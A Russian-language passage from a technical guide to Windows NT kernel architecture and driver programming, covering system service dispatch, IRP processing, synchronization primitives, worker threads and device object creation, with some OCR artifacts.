    Другие вызовы выглядят почти также. Первая инструкция загружает регистр процессора индексным номером конкретной функции «родного» API (каждая функция «родного» API имеет уникальный индексный номер). Вторая инструкция загружает в регистр указатель на параметры вызова. Следующая инструкция - команда генерации программного исключения. ОС регистрирует обработчик ловушки для перехвата управления, переключения из пользовательского режима в режим ядра и передачи управления в фиксированную точку ОС при возникновении прерывания или исключения. В случае вызова системного сервиса (на процессорах х86 программное исключение для вызова системных сервисов генерируется кодом Ох2Е), этот обработчик ловушки передает управление диспетчеру системных сервисов. Последняя инструкция забирает параметры из стека вызывающего потока.

    Диспетчер системных сервисов определяет, является ли корректным индексный номер функции «родного» API. Индексный номер, переданный из пользовательского режима, используется для входа в таблицу распределения системных сервисов (KeServiceDescriptorTable). Каждый элемент этой таблицы включает указатель на соответствующий системный сервис и число параметров. Диспетчер системных сервисов берет параметры, переданные в стеке пользовательского режима (указатель стека находится в регистре edx) и помещает их в стек ядра, а затем передает управление для обработки запроса соответствующему системному сервису, который исполняется в режиме ядра и находится в ntoskrnl.exe.

    Введенные в Windows NT версии 4.0 интерфейсы API Win32 управления окнами и рисованием управляются тем же диспетчером системных сервисов, но индексные номера Win32^yHKujffl указывают на то, что должен использоваться второй массив указателей системных сервисов. Указатели во втором массиве ссылаются на функции в win32k.sys.

    Большинство системных сервисов должно выполнять проверку параметров, переданных им из пользовательского режима. Некоторые параметры являются указателями, а передача неверного указателя в режим ядра без предварительной проверки может привести к краху системы. Проверка параметров обязательна, но оказалось, что некоторые функции «родного» API (13 системных сервисов из win32k.sys) не выполняют обстоятельную проверку, что приводит в некоторых случаях к падению системы. Microsoft закрыла эти дыры в Service Pack I. В дальнейшем оказалось, что при тестировании параметров, соответствующих граничным условиям, вызовы еще 40 функций «родного» API, из которых 25 из win32k.sys, вызвали падение системы. Эти дыры были закрыты в SP4.

    После проверки параметров, системные сервисы обычно вызывают функции, реализуемые компонентами исполнительной системы: диспетчером процессов, диспетчером памяти, диспетчером ввода/вывода и средством локального вызова процедур.

    Все функции прикладного уровня, вызывающие это прерывание, сосредоточены в модуле ntdll.dll и имеют в своем названии префикс Nt либо Zw, например, NtCreateFile()/ZwCreateFile(). Точка входа для двух таких имен одна. Вызов многих функций различных подсистем рано или поздно приведет к вызову соответствующей функции из ntdll.dll. При этом не все, что есть в ntdll.dll вызывается из подсистемы Win32.

    Вызов системных сервисов возможен не только из прикладной программы, но и из ядра ОС, то есть из драйверов. Имена соответствующих функций ядра имеют префикс либо Zw, либо Nt (ZwCreateFile(), NtCreateFile()). Функции с префиксом Zw обращаются к сервисам посредством прерывания 2Е, тогда как функции с префиксом Nt являются собственно точками входа стандартных системных сервисов. Из этого следует, что число функций с префиксом Nt неизменно, а множество этих функций является подмножеством функций с префиксом Zw. Не путайте функции с префиксами Nt и Zw режима ядра и пользовательского режима. В режиме ядра они находятся в модуле ntoskrnl.exe (микроядро), в пользовательском режиме - в модуле ntdll.dll («родной» API, вызывают int 2E).



    Семафоры

    Семафоры

    Семафоры являются более гибкой формой мьютексов. В отличие от мьютексов, программа имеет контроль над тем, сколько потоков одновременно могут захватывать семафор.

    Семафор инициализируется с помощью функции KeInitializeSemaphore():
    VOID KelnitializeSemaphore(

    IN PKSEMAPHORE Semaphore,

    IN LONG Count,

    IN LONG Limit);
    Где:

    Count - начальное значение, присвоенное семафору, определяющее число свободных в данный момент ресурсов. Если Count=0, семафор находится в несигнальном состоянии (свободных ресурсов нет), если >0 - в сигнальном;

    Limit - максимальное значение, которое может достигать Count (максимальное число свободных ресурсов).

    Функция KeReleaseSemaphore() увеличивает счетчик семафора Count на указанное в параметре функции значение, то есть освобождает указанное число ресурсов. Если при этом значение Count превышает значение Limit, значение Count не изменяется и генерируется исключение STATUS_SEMAPHORE_COUNT_EXCEEDED.

    При вызове функции ожидания счетчик семафора уменьшается на 1 для каждого разблокированного потока (число свободных ресурсов уменьшается). Когда он достигает значения 0, семафор переходит в несигнальное состояние (свободных ресурсов нет). Использование семафора не зависит от контекста потока или процесса в том смысле, что занять ресурс семафора может один поток, а освободить его - другой, но драйвер не должен использовать семафоры в случайном контексте потока, так как в этом случае будет заблокирован случайный поток, не имеющий к драйверу никакого отношения. Семафоры следует использовать в ситуациях, когда драйвер создал собственные системные потоки.

    Сериализация

    Сериализация

    Сериализация - это процесс выполнения различных операций в нужной последовательности.

    Функция драйвера для обработки запроса ввода/вывода может быть вызвана из различных потоков различных процессов. Неэксклюзивное устройство может быть одновременно открыто несколькими прикладными программами, каждая из которых может послать один и тот же запрос в одно и то же время. Нам необходимо, чтобы обработка каждого такого запроса началась как можно быстрее, но не раньше, чем завершится обработка предыдущего запроса.

    Если устройство эксклюзивное и вся обработка завершается в диспетчерской функции, Сериализация обеспечивается операционной системой. Диспетчерские функции работают в контексте памяти потока-инициатора запроса ввода/вывода, следовательно, пока не завершится диспетчерская функция, код прикладной программы не получит управления и не инициирует очередной запрос ввода/вывода.

    Однако даже эксклюзивное устройство может не суметь обработать запрос ввода/ вывода в диспетчерской функции сразу при его поступлении. Если драйвер будет ждать в диспетчерской функции возможности обработать и завершить запрос, прикладная программа - инициатор запроса будет «висеть» - ее код не выполняется. Более того, если такой драйвер является уровневым и не является драйвером верхнего уровня, его диспетчерские функции будут вызываться в случайном контексте потока. «Завесив» свою диспетчерскую функцию, драйвер «завесит» произвольный поток произвольной прикладной программы! Чтобы такого не происходило, диспетчерская функция должна завершиться как можно скорее. При этом диспетчеру ввода/вывода необходимо указать, что соответствующий запрос ввода/вывода не был завершен, однако это не ошибка, и этот запрос ввода/вывода будет завершен когда-то позже. При этом возникают вопросы:
  • как указать, что запрос ввода/вывода не завершен;

  • где хранить незавершенные пакеты ввода/вывода;

  • как быть, если запрос ввода/вывода не завершен, а инициировавшее запрос приложение закрылось.

  • Завершение запроса ввода/вывода. Успешное завершение запроса ввода/вывода в диспетчерской функции показано в следующем листинге: Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = bytesTransfered; loCompleteRequest (Irp, IO_NO_INCREMENT); return STATUS SUCCESS;

    При неудачном завершении обработки запроса ввода/вывода в поле Irp->IoStatus.Status устанавливается код ошибки (значение, не равное STATUS_SUCCESS), оно же возвращается оператором return.



    Симметричная мультипроцессорная обработка

    Симметричная мультипроцессорная обработка

    NT поддерживает только архитектуру с симметричной мультипроцессорной обработкой - SMP.

    Системы с симметричной мультипроцессорной обработкой позволяют коду операционной системы выполняться на любом свободном процессоре или на всех процессорах одновременно, причем каждому из процессоров доступна вся память. Чтобы гарантировать правильную работу системы, код таких ОС должен следовать строгим правилам. Windows NT обладает свойствами, которые принципиально важны для мультипроцессорной ОС:
  • Код ОС может выполняться на любом из доступных процессоров и на нескольких процессорах одновременно. За исключением кода ядра, которое выполняет планировку потоков и обработку прерываний, весь код ОС может быть вытеснен потоком с более высоким приоритетом.

  • В одном процессе может быть несколько потоков управления. Потоки позволяют процессу выполнять разные части его программы на нескольких процессорах одновременно.

  • Серверные процессы могут иметь несколько потоков для одновременной обработки запросов от нескольких клиентов.

  • Имеются механизмы совместного использования объектов потоками разных процессов, и гибкие возможности коммуникации между потоками разных процессов, включая совместно используемую память и оптимизированное средство передачи сообщений.



    Система приоритетов

    Система приоритетов

    Windows NT имеет двухуровневую модель приоритетов (см. Рисунок 4).
  • Приоритеты высшего уровня (уровни запросов прерываний - Interrupt ReQuest Level - IRQL) управляются аппаратными и программными прерываниями.

  • Приоритеты низшего уровня (приоритеты планирования) управляются планировщиком.


  • Система ввода/вывода

    Система ввода/вывода

    Система ввода/вывода исполнительной системы - это часть кода ОС, получающая запросы ввода/вывода от процессов пользовательского режима и передающая их, в преобразованном виде, устройствам ввода/вывода. Между сервисами пользовательского режима и аппаратурой ввода/вывода располагается несколько отдельных системных компонентов, включая законченные файловые системы, многочисленные драйверы устройств и драйверы сетевых транспортов.

    Система ввода/вывода управляется пакетами запроса ввода/вывода (I/O Request Packet, IRP). Каждый запрос ввода/вывода представляется в виде пакета IRP во время его перехода от одной компоненты системы ввода/вывода к другой. IRP - это структура данных, управляющая обработкой операции ввода/вывода на каждой стадии ее выполнения.

    В систему ввода/вывода входят следующие компоненты:
  • 1. Диспетчер ввода/вывода (I/O manager). Реализует средства ввода/вывода, не зависящие от типа устройства, и устанавливает модель для ввода/вывода исполнительной системы. Диспетчер ввода/вывода осуществляет создание, чтение, запись, установку и получение информации, и многие другие операции над файловыми объектами. Диспетчер ввода/вывода реализует асинхронную подсистему ввода/вывода, основанную на передаче пакетов запроса ввода/вывода (I/O Request Packet, IRP). Диспетчер ввода/ вывода также отвечает за поддержку и обеспечение операционной среды для драйверов.

  • 2. Файловые системы. Драйверы, принимающие запросы файлового ввода/вывода и транслирующие их в запросы, привязанные к конкретному устройству. Сюда же входят сетевые файловые системы, состоящие из двух компонентов: сетевого редиректора (network redirector), реализуемого как драйвер файловой системы и передающего удаленные запросы ввода/вывода на машины в сети, и сетевого сервера (network server), являющегося обычным драйвером, принимающим и обрабатывающим такие запросы.

  • 3. Сетевые драйверы, которые могут загружаться в ОС и рассматриваться как часть системы ввода/вывода.

  • 4. Драйверы устройств. Низкоуровневые драйверы, напрямую работающие с оборудованием.

  • Диспетчер ввода/вывода (I/O manager) определяет порядок, по которому запросы ввода/вывода доставляются драйверам. В обязанности диспетчера входит:
  • 1. Получение запроса на ввод/вывод и создание пакета IRP.

  • 2. Передача IRP соответствующему драйверу. Драйвер, получив IRP, выполняет указанную в нем операцию ввода/вывода, и, либо возвращает его диспетчеру ввода/ вывода для завершения обработки, либо передает другому драйверу для продолжения операции ввода/вывода.

  • 3. Сопровождение IRP по стеку драйверов.

  • 4. Завершение IRP по окончании операции ввода/вывода и возвращение результатов обработки инициатору запроса ввода/вывода.

  • 5. Также диспетчер ввода/вывода реализует общие процедуры, к которым обращаются драйверы во время обработки ввода/вывода, и предоставляет системные сервисы, позволяющие защищенным подсистемам реализовать свои API ввода/вывода.





  • Системная очередь запросов IRP (System Queuing)

    Системная очередь запросов IRP (System Queuing)

    Простейший способ, с помощью которого драйвер может организовать очередь IRP - использовать Системную Очередь. Для этого драйвер предоставляет диспетчерскую точку входа Startle (DriverObject->DriverStartIo). При получении пакета IRP, который необходимо поставить в Системную Очередь, такой пакет необходимо пометить как отложенный с помощью вызова IoMarkIrpPending(), а затем вызвать функцию IoStartPacket().
    VOID loStartPacket(IN PDEVICEJDBJECT Device-Object, IN PIRP Irp, IN PULONG Key,

    IN PDRIVER_CANCEL CancelFunction);
    Где: DeviceObject - Указатель на устройство, которому направлен запрос ввода/ вывода;

    Irp - Указатель на пакет IRP, описывающий запрос ввода/вывода;

    Key - Необязательный указатель на значение, определяющее позицию в очереди IRP, в которую будет вставлен пакет IRP. Если указатель NULL, IRP помещается в конец очереди;

    CancelFunction - Необязательный указатель на функцию - точку входа драйвера, которая будет вызвана при отмене данного запроса ввода/вывода диспетчером ввода/ вывода.

    Вызов этой функции ставит пакет IRP для данного устройства в Системную Очередь. При этом, если в момент вызова loStartPacket() функция Startlo не выполняется, происходит выборка из очереди очередного IRP.

    При выборке очередного пакета IRP из очереди, если очередь не пуста, для очередного IRP будет вызвана функция Startlo. Функция имеет такой же прототип, как и все диспетчерские функции, но вызывается в случайном контексте потока на уровне IRQL DISPATCH_LEVEL: NTSTATUS Startlo (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp).

    Структура функции Startlo практически такая же, как у диспетчерской функции, не использующей организацию очередей, за двумя важными исключениями:
  • Startlo вызывается в случайном контексте потока на уровне IRQL DISPATCH_ LEVEL. Поэтому необходимо: а) соблюдать все ограничения для уровня IRQL DISPATCH_LEVEL; б) не использовать метод передачи буфера Neither, так как такой метод передачи предполагает знание контекста памяти процесса, из которого был инициирован запрос ввода/вывода (см.
    раздел «Описание Буфера Данных»).


  • Какой бы ни был результат обработки пакета IRP, после завершения его обработки Startlo обязана вызвать функцию IoStartNextPacket() для указания диспетчеру ввода/вывода необходимость выбора из системной очереди очередного пакета IRP (то есть вызвать для него Startlo) сразу после завершения Startlo для текущего пакета.


  • Прототип функции IoStartNextPacket():

    VOID IoStartNextPacket(IN PDEVICE_OBJECT DeviceObject,

    IN BOOLEAN Cancel able);

    Где: DeviceObject - Указатель на устройство, для которого необходимо выбрать следующий пакет из системной очередиIRP;

    Cancelable - Указывает, может ли выбираемый из очереди пакетIRP быть отменен в процессе обработки. Если при вызове loStartPacketQ была указана ненулевая функция отмены, параметр Cancelable обязан быть равным TRUE.

    Вместо IoStartNextPacket() может быть использована функция loStartNext PacketByKey():

    VOID loStartNextPacketByKey(IN PDEVICE_OBJECT DeviceObject,

    IN BOOLEAN Cancelable, IN ULONG Key);

    В этом случае из очереди будет выбран очередной пакет IRP с заданным значением Key (это значение могло быть установлено при помещении пакета в очередь при вызове loStartPacket()).

    При использовании системной очереди диспетчер ввода/вывода отслеживает, когда данный объект-устройство свободен или занят обработкой очередного IRP. Это осуществляется с помощью специального объекта ядра Очередь Устройства (Device Queue Object, тип - структура KDEVICE_QUEUE), помещенного внутрь объекта-устройства в поле DeviceQueue. Поле DeviceQueue.Busy устанавливается диспетчером ввода/вывода равным TRUE непосредственно перед вызовом функции Startlo, и FALSE, если вызвана функция IoStartNextPacket(ByKey)(), а системная очередь не содержит пакетов IRP для данного устройства. При обработке очередного IRP указатель на него находится в объекте-устройстве в поле Currentlrp.

    Системные рабочие потоки

    Системные рабочие потоки

    В процессе системной инициализации NT создает несколько потоков в процессе System. Эти потоки служат исключительно для выполнения работы, затребованной другими потоками. Такие потоки наиболее удобны в случаях, когда потоку с повышенным уровнем IRQL требуется выполнить работу на уровне IRQL PASSIVE_LEVEL.

    В принципе, можно создать новый поток, однако создание нового потока и его планирование планировщиком является более ресурсоемким, чем использование существующего потока. Большинство стандартных компонент ОС, таких как компоненты файловой системы, используют для своих нужд готовые системные рабочие потоки.

    Имеются ситуации, при которых использование системных рабочих потоков неприемлемо в силу их организации. Такими ситуациями являются необходимость в длительной (несколько сотен микросекунд) обработке внутри потока, либо длительное ожидание освобождения ресурса или наступления события. В этих ситуациях драйвер должен создавать свой собственный поток.

    Как организованы системные рабочие потоки? Как уже было сказано, в процессе системной инициализации NT создает несколько системных рабочих потоков. Число этих потоков фиксировано. Для всех потоков существует единая очередь, из которой поток выбирает адрес функции драйвера, которая должна быть выполнена в данном потоке. Такая функция называется рабочим элементом (Workltem). Функция выполняется в потоке до своего завершения, после чего поток выбирает из очереди следующий рабочий элемент. Если очередь пуста, поток блокируется до появления в очереди очередного рабочего элемента.

    Существует три типа системных рабочих потоков: Delayed (замедленные), Critical (критические) и Hypercritical (сверхкритические). Все типы потоков создаются на уровне IRQL PASSIVE_LEVEL. Для каждого типа потоков будут различны:
  • число потоков данного типа;

  • базовый приоритет планирования потока, относящегося к данному типу;

  • очередь рабочих элементов.

  • Число потоков каждого типа зависит от объема памяти и типа ОС. В таблице 10 указано число потоков и базовый приоритет планирования для ОС Win2000 Professional и Server.

    Слой абстрагирования от оборудования

    Слой абстрагирования от оборудования

    Слой абстрагирования от оборудования (Hardware Abstraction Layer, HAL) является относительно тонким слоем кода, взаимодействующим напрямую с процессором, шинами и другим оборудованием, и отвечает за обеспечение стандартного интерфейса к платформенно-зависимым ресурсам для ядра, диспетчера ввода/вывода и драйверов устройств.

    Вместо того чтобы обращаться к аппаратуре непосредственно исполнительная система сохраняет максимальную переносимость, обращаясь к функциям HAL, когда ей нужна платформенно-зависимая информация (некоторый объем кода, который зависит от конкретной архитектуры, располагается не только в HAL, но и в ядре и в менеджере памяти). Драйверы устройств содержат, конечно же, код, зависящий от устройств, но избегают кода, зависящего от процессора или платформы, вызывая процедуры ядра и HAL.

    HAL обеспечивает поддержку и отвечает за предоставление стандартного интерфейса к ресурсам процессора, которые могут меняться в зависимости от модели внутри одного семейства процессоров. Возможность замены слоя HAL обеспечивает всем вышележащим слоям операционной системы независимость от аппаратной архитектуры.

    Внутренние процедуры, обеспечиваемые слоем абстрагирования от оборудования, начинаются с префикса Hal.




    позволяют проводить синхронизацию исполнения различных

    События

    События (events) позволяют проводить синхронизацию исполнения различных потоков, то есть один или несколько потоков могут ожидать перевода события в сигнальное состояние другим потоком.

    При этом события могут быть двух видов:
  • События, при переводе которых в сигнальное состояние будет разблокирован только один поток, после чего событие автоматически переходит в не сигнальное состояние. Такие события носят название события синхронизации (synchronization events).

  • События, при переводе которых в сигнальное состояние будут разблокированы все ожидающие их потоки. Событие должно быть переведено в несигнальное состояние вручную. Такие события носят название оповещающих (notification event).

  • Функции работы с событиями:
  • 1. KelnitializeEvent() инициализирует событие. Память под событие уже должна быть выделена. При инициализации указывается тип - синхронизация или оповещение, а также начальное состояние - сигнальное или несигнальное. Имя события задать нельзя. Функция может быть использована в случайном контексте памяти на уровне IRQL PASSIVE_LEVEL.

    2. IoCreateNotificationEvent(), IoCreateSynchronizationEvent() создают новое или открывает существующее событие с заданным именем. Если объект с таким именем существует, он открывается, если не существует, то создается. Имя события обычно указывается в директории диспетчера объектов «\BaseNamedObjects». Именно в этой директории содержатся имена событий, создаваемых или открываемых \Win32-функциями CreateEvent()/OpenEvent().

    Функция возвращает как указатель на объект-событие, так и его описатель в таблице описателя текущего процесса. Для уничтожения объекта необходимо использовать функцию ZwClose() с описателем в качестве параметра. Описатель должен быть использован в контексте того процесса, в котором он был получен на уровне IRQL PASSIVE_LEVEL.

    3. KeClearEvent() и KeResetEvent() сбрасывают указанное событие в несигнальное состояние. Отличие между функциями в том, что KeResetEvent() возвращает состояние события до сброса. Функции могут быть вызваны на уровне IRQL меньшем или равном DISPATCHJLEVEL.

    4. KeSetEvent() переводит событие в сигнальное состояние и получает предыдущее состояние. Одним из параметров является логическая переменная, указывающая, будет ли за вызовом KeSetEvent() немедленно следовать вызов функции ожидания. Если параметр TRUE, то гарантируется, что вызов этих двух функций будет выполнен как одна операция.

  • В случае событий оповещения сброс события в несигнальное состояние должен быть сделан вручную. Обычно это делает тот же код, который перевел событие в сигнальное состояние.

    Следующий код корректно уведомляет все блокированные потоки о наступлении ожидаемого ими события:
    KeSetEvent(&DeviceExt->Event, О, NULL);

    KeClearEvent(&DeviceExt->Event);

    Совместное использование памяти

    Совместное использование памяти

    Схему организации памяти на Рисунок 5 можно представить более упрощенно, а именно: каталог страниц и соответствующие ему таблицы страниц рассматривать как единую таблицу страниц для трансляции виртуального адреса в физический. Каждый контекст памяти при таком представлении определяется своей таблицей страниц.

    Из Рисунок 7 видно, что разные таблицы страниц могут иметь ссылку на одну и ту же физическую страницу памяти. Эта возможность позволяет приложениям совместно использовать одну и ту же физическую память (обращаясь при этом к различным виртуальным адресам).

    Кроме того, как уже говорилось выше, на уровне таблиц страниц производится управление доступом к страницам памяти. При этом к одной и той же физической странице памяти может быть предоставлен различный уровень доступа даже внутри одного адресного пространства (никто не запрещает нескольким записям одной таблицы страниц указывать на одну физическую страницу).

    Для совместно используемой памяти может быть задействован механизм Copy-On-Write. Запись в таблице страниц для такой памяти указывает запрет на модификацию и задействование Copy-On-Write. Пока два процесса совместно используют такую память для чтения, ничего не происходит. При попытке записи одним из процессов в такую память генерируется исключение (защита от записи). Диспетчер памяти анализирует исключение, обнаруживает, что для страницы установлен механизм Copy-On-Write, создает новую страницу в физической памяти, копирует в нее первоначальную страницу и модифицирует элемент таблицы страниц так, чтобы он указывал на новую страницу, а затем производит первоначальную запись в память. Таким образом, каждый процесс получит свою копию первоначальной страницы каждый со своими изменениями.

    Создание объекта-устройства и символической связи

    Создание объекта-устройства и символической связи

    Как уже говорилось, объект-устройство представляет физическое, логическое или виртуальное устройство, которое должно быть использовано в качестве получателя запросов ввода/вывода. Именованный объект-устройство может быть использован либо из прикладного уровня посредством вызова (Nt)CreateFile(), либо из другого драйвера посредством вызова IoGetDeviceObjectPointer().

    Создается объект-устройство с помощью вызова функции IoCreateDevice().
    NTSTATUS loCreateDevice(IN PDRIVER_OBJECT DriverObject,

    IN .ULONG DeviceExtensionSize,

    IN .PUNICODE_STRING DeviceName,

    IN .DEVICEJTYPE DeviceType,

    IN .ULONG DeviceCharacteristics,

    IN .BOOLEAN Exclusive,

    OUT. PDEVICE OBJECT *DeviceObject) ;
    Стоит упомянуть, что при необходимости создания нескольких именованных объектов-устройств одного типа (параметр DeviceType) стандартные драйверы NT пользуются определенным соглашением (которое не является обязательным). А именно: к фиксированному имени прибавляется номер устройства, начиная с нуля. Например, СОМ0, СОМ1,... Это позволяет открывать устройства, про которые заранее не известно, существуют они или нет. Для получения следующего номера, для которого еще не создано устройство, драйвер может использовать функцию loGetConfiguration Information(). Эта функция возвращает указатель на структуру, содержащую число устройств текущего драйвера для каждого обнаруженного типа устройства.

    Параметр «тип устройства» (DeviceType) может принимать или одно из предопределенных в ntddk.h значений, начинающихся с FILE_DEVICE_, либо значение в диапазоне 32768...65535, зарезервированное для нестандартных устройств.

    Необходимо отметить, что при определении кода запроса ввода/вывода к устройству(Device i/o control code, будет рассмотрен в следующем разделе) следует использовать тот же тип устройства.

    Параметр «характеристики устройства» (DeviceCharacteristics) является набором флагов и представляет интерес в основном для разработчиков стандартных типов устройств. Среди возможных значений флагов - FILE_REMO-VABLE_MEDIA, FILE_READ_ONLY_DEVICE, FILE_REMOTE_DEVICE.

    Параметр «эксклюзивность устройства» (Exclusive). Когда этот параметр установлен в TRUE, для устройства может быть создан единственный объект-файл. Как видно из Рисунок 8, взаимосвязь различных объектов может быть довольно сложной. При этом довольно часто в драйвере необходимо представлять, от какого файлового объекта поступил запрос. Для упрощения ситуации можно разрешить использование только одного файлового объекта, то есть в один момент времени устройство будет использоваться только из одного места.

    Как уже говорилось, при открытии устройства из подсистемы Win32 для имени устройства в директории \Device в пространстве имен диспетчера объектов должна быть создана символическая связь в директории \?? или \DosDevices. Это можно сделать в драйвере с помощью функции IoCreateSymbolicLink(), либо из прикладной программы с помощью Win32-функции DefmeDosDevice().



    Создание потоков драйвером

    Создание потоков драйвером

    В случае, когда использование системных рабочих потоков невозможно, драйвер должен создать свой собственный поток. Для создания нового потока используется функция PsCreateSystemThread(). В качестве одного из параметров функция имеет описатель процесса, в контексте которого нужно создать поток. Чтобы правильно использовать описатель, код драйвера должен выполняться в контексте процесса, таблица описателей которого содержит описатель процесса, в контексте которого мы хотим создать поток. Если описатель процесса не указан (значение NULL), новый поток будет создан в контексте процесса System.

    Для уничтожения потока из драйвера используется функция PsTerminate SystemThread(). Эта функция должна быть вызвана из самого уничтожаемого потока, так как она уничтожает текущий поток и не позволяет указать поток, который нужно уничтожить.

    Вновь созданный поток будет работать на уровне IRQL PASSIVE_LEVEL и иметь базовое значение приоритета планирования равным 8 (динамический диапазон приоритетов, базовое значение для класса NORMAL). После создания код потока может изменить базовое значение приоритета планирования на любое значение в диапазоне динамических приоритетов либо приоритетов реального времени. Это делается с помощью функции KeSetPriorityThread(). Отметим, что это не повышение уровня приоритета планирования, после которого уровень приоритета постепенно снизится до базового значения, а именно установка нового базового значения приоритета.

    Код потока может не только изменить значение приоритета планирования при уровне IRQL PASSIVE_LEVEL, но и повысить уровень IRQL. Для этого служит функция KeRaiselrql(). Работа потока на повышенном уровне IRQL должна быть завершена как можно скорее, после чего должно быть восстановлено первоначальное значение IRQL с помощью функции KeLowerlrql(). Использование функции KeRaiselrql() для понижения IRQL и функции KeLowerlrql() для повышения IRQL не допускается, так как это приведет к возникновению синего экрана.



    Спин-блокировки

    Спин-блокировки

    Спин-блокировка - простейший механизм синхронизации. Спин-блокировка может быть захвачена, и освобождена. Если спин-блокировка была захвачена, последующая попытка захватить спин-блокировку любым потоком приведет к бесконечному циклу с попыткой захвата спин-блокировки (состояние потока busy-waiting). Цикл закончится только тогда, когда прежний владелец спин-блокировки освободит ее. Использование спин-блокировок безопасно на мультипроцессорных платформах, то есть гарантируется, что, даже если ее запрашивают одновременно два потока на двух процессорах, захватит ее только один из потоков.

    Спин-блокировки предназначены для защиты данных, доступ к которым производится на различных, в том числе повышенных уровнях IRQL. Теперь представим такую ситуацию: код, работающий на уровне IRQL PASSIVE_ LEVEL захватил спин-блокировку для последующего безопасного изменения некоторых данных. После этого код был прерван кодом с более высоким уровнем IRQL DISPATCH_LEVEL, который попытался захватить ту же спин-блокировку, и, как следует из описания спин-блокировки, вошел в бесконечный цикл ожидания освобождения блокировки. Этот цикл никогда не закончится, так как код, который захватил спин-блокировку и должен ее освободить, имеет более низкий уровень IRQL и никогда не получит шанса выполниться! Чтобы такая ситуация не возникла, необходим механизм, не позволяющий коду с некоторым уровнем IRQL прерывать код с более низким уровнем IRQL в тот момент когда код с более низким уровнем IRQL владеет спин-блокировкой. Таким механизмом является повышение текущего уровня IRQL в момент захвата спин-блокировки до некоторого уровня IRQL, ассоциированного со спин-блокировкой, и восстановление старого уровня IRQL в момент ее освобождения. Из сказанного следует, что код, работающий на повышенном уровне IRQL, не имеет права обращаться к ресурсу, защищенному спин-блокировкой, если уровень IRQL спин-блокировки ниже уровня IRQL производящего доступ к ресурсу кода. При попытке таким кодом захватить спин-блокировку его уровень IRQL будет понижен до уровня IRQL спин-блокировки, что приведет к непредсказуемым последствиям.

    В NT имеется два вида спин-блокировок:

  • Обычные спин-блокировки, особым случаем которых являются спин-блокировки отмены запроса ввода/вывода, используемые при организации очередей запросов ввода/вывода (см. раздел «Отмена запросов ввода/вывода»).


  • Спин-блокировки синхронизации прерываний.


  • С обычными спин-блокировками связан IRQL DISPATCH_LEVEL, то есть:

  • все попытки их захвата должны производиться на уровне IRQL, меньшим или равным DISPATCH_LEVEL;


  • в случае захвата спин-блокировки текущий уровень IRQL поднимается до уровня DISPATCH_LEVEL.


  • Со спин-блокировками синхронизации прерываний связан один из уровней DIRQL. Использование обычных спин-блокировок будет описано ниже (за исключением спин-блокировок отмены запросов ввода/вывода, которые были описаны в предыдущем разделе). Использование спин-блокировок синхронизации прерываний будет описано в разделе, посвященном обработке прерываний.

    Список заранее выделенных блоков памяти (Lookaside List)

    Список заранее выделенных блоков памяти (Lookaside List)

    Во многих случаях, выделение и освобождение временного буфера памяти должно происходить очень часто, для уменьшения накладных расходов служит Lookaside List - список заранее выделенных блоков памяти фиксированного размера.

    Первоначально, память выделяется только под небольшой заголовок со служебной информацией. При каждом запросе на выделение памяти проверяется, есть ли в списке свободные блоки. Если их нет - они выделяются из выгружаемой или невыгружаемой памяти. Если есть, то помечаются, как используемые и выдаются для использования.
    VOID ExInitializeNPagedLookasideList(

    IN PNPAGED_LOOKASIDE_LIST Lookaside,

    IN PALLOCATE_FUNCTION Allocate OPTIONAL,

    IN PFREE_FUNCTION Free OPTIONAL,

    IN ULONG Flags,

    IN ULONG Size,

    IN ULONG Tag,

    IN USHORT Depth ); . VOID ExInitializePagedLookasideList(

    IN PPAGED_LOOKASIDE_LIST Lookaside,

    IN PALLOCATE_FUNCTION Allocate OPTIONAL,

    IN PFREE_FUNCTION Free OPTIONAL,

    IN ULONG Flags,

    IN ULONG Size,

    IN ULONG Tag,

    IN USHORT Depth );

    PVOID ExAllocateFromNPagedLookasideList(IN PNPAGED_LOOKASIDE_LIST Lookaside) ; PVOID ExAllocateFromPagedLookasideList(IN PPAGED_LOOKASIDE_LIST Lookaside); VOID ExFreeToNPagedLookasideList(

    IN PNPAGED_LOOKASIDE_LIST Lookaside,

    IN PVOID Entry); VOID ExFreeToPagedLookasideList(

    IN PPAGED_LOOKASIDE_LIST .Lookaside,

    IN PVOID Entry);

    VOID ExDeleteNPagedLookasideList(IN PNPAGED_LOOKASIDE_LIST Lookaside);

    VOID ExDeletePagedLookasideList(IN PPAGED_LOOKASIDE_LIST Lookaside) ;

    Структура пакета запроса ввода/вывода (IRP)

    Структура пакета запроса ввода/вывода (IRP)

    При осуществлении операции ввода/вывода диспетчер ввода/вывода создает специальный пакет, описывающий эту операцию - пакет запроса ввода/вывода (I/O Request Packet, IRP). Как будет показано ниже, обработка такого пакета может происходить поэтапно несколькими объектами-устройствами.

    IRP содержит всю необходимую информацию для полного описания запроса Ввода - вывода Диспетчеру Ввода/вывода и драйверам устройств. IRP описывается стандартной структурой типа "IRP", показанной на Рисунок 10.

    Структура IRP специально разработана для поддержки многоуровневой модели ввода/вывода, при которой запрос ввода/вывода последовательно обрабатывается стеком из нескольких драйверов.

    Для обеспечения этого каждый пакет запроса ввода/вывода состоит из двух частей: "фиксированной" части и Стека Ввода/вывода. Фиксированная часть IRP содержит информацию относительно той части запроса, которая или не изменяется от драйвера к драйверу, или которую не надо сохранять при передаче IRP от одного драйвера к другому. Стек Ввода/вывода содержит набор Стеков Размещения Ввода/вывода, каждый из которых содержит информацию, специфическую для каждого драйвера, который может обрабатывать запрос.

    В стеке размещения ввода/вывода для каждого устройства,, которое должно принимать участие в обработке пакета, содержатся указатели на объект-устройство, которое будет обрабатывать запрос, и на объект-файл, для которого была инициирована операция ввода/вывода (см. Рисунок 10).

    Пакеты IRP всегда выделяются из невыгружаемой системной памяти (nonpaged pool), поэтому к ним может осуществляться обращение из функций, работающих на любом уровне IRQL.

    Как уже говорилось, драйверы подразделяются на три класса по их положению в стеке драйверов: драйверы высшего уровня, драйверы промежуточного уровня и драйверы низшего уровня.

    Драйвер высшего уровня - это верхний драйвер в стеке драйверов, получающий запросы через Диспетчер ввода/вывода от компонентов прикладного уровня.

    Драйвер высшего уровня (или, что более правильно, устройство высшего уровня) имеет один или несколько стеков размещения ввода/вывода.

